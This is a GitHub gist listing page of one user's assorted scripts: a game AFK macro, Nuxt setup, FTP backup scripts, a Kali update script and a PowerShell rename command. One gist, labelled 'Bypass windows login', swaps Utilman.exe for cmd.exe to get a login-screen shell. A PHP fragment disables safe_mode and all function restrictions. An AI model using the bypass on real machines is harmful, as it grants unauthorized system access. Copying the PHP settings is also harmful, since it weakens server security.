Skip to content

Instantly share code, notes, and snippets.

View mo9a7i's full-sized avatar
💪
Streaming Code

Mohannad Faihan Otaibi mo9a7i

💪
Streaming Code
View GitHub Profile
@mo9a7i
mo9a7i / CoD_AFK.ahk
Created June 5, 2024 16:30
Move with WSAD in game automatically (F5 Activation)
toggle := false
F5::
toggle := !toggle
if (toggle)
SetTimer, PressW, 50 ; Start pressing 'W' every 50 ms
else
SetTimer, PressW, Off ; Stop pressing 'W'
return
@mo9a7i
mo9a7i / install.sh
Last active January 23, 2024 06:46
PNPM Minimal Nuxt 3 Typescript App with Nuxt UI & Pinia
pnpm dlx nuxi init ./ --overwrite-dir
pnpm add @nuxt/ui @pinia/nuxt @pinia-plugin-persistedstate/nuxt @iconify/json flowbite
pnpm add -D sass @types/node
mkdir -p assets/css layouts pages .vscode
touch assets/css/main.scss
touch layouts/default.vue
touch pages/index.vue
touch .editorconfig
touch .prettierrc.json
@mo9a7i
mo9a7i / CreateUtilmanShit.sh
Created April 12, 2023 19:09
Bypass windows login
windows_part=$1
cd $windows_part/Windows/System32
mv Utilman.exe Utilman.exe.d
cp cmd.exe Utilman.exe
#!/bin/sh
ftper /backup/mysql/mysql.tar.gz
exit
#!/bin/sh
#######################
# Programmed By Ghazzi#
#######################
cd /backup/mysql
tar -zcvf mysql.tar.gz daily
ftper mysql.tar.gz
exit 0
@mo9a7i
mo9a7i / ftper.sh
Created April 12, 2023 19:07
A script to move files from server to server using ftp
#!/bin/sh
##########################################
# By: Mo9a7i (livehostsupport@gmail.com #
##########################################
temp="/tmp/$(basename $0).$$" ; trap "/bin/rm -f $temp" 0
remote='176.31.46.12'
dire='public_html/hard'
ftpu='backup'
ftpp=''
transtype='binary'
@mo9a7i
mo9a7i / os_updater.sh
Created March 27, 2023 19:12
Kali Update OS
#! /bin/bash
echo "Updating repositories" &&
sudo apt-get update -y
echo "Upgarding applications and distro" &&
sudo apt-get upgrade -y
sudo apt-get dist-upgrade -y
echo "Cleaning Up" &&
sudo apt-get -f install &&
safe_mode = Off
disable_functions = NONE
@mo9a7i
mo9a7i / win_command_line.md
Last active July 15, 2022 11:16
Windows Command Line

Windows Command Line

Add extension to files

Get-ChildItem -Path './' -Filter *. -Recurse | Where-Object {
    -not $_.PSIsContainer
} | Rename-Item -NewName {$_.Name + ".jpg"}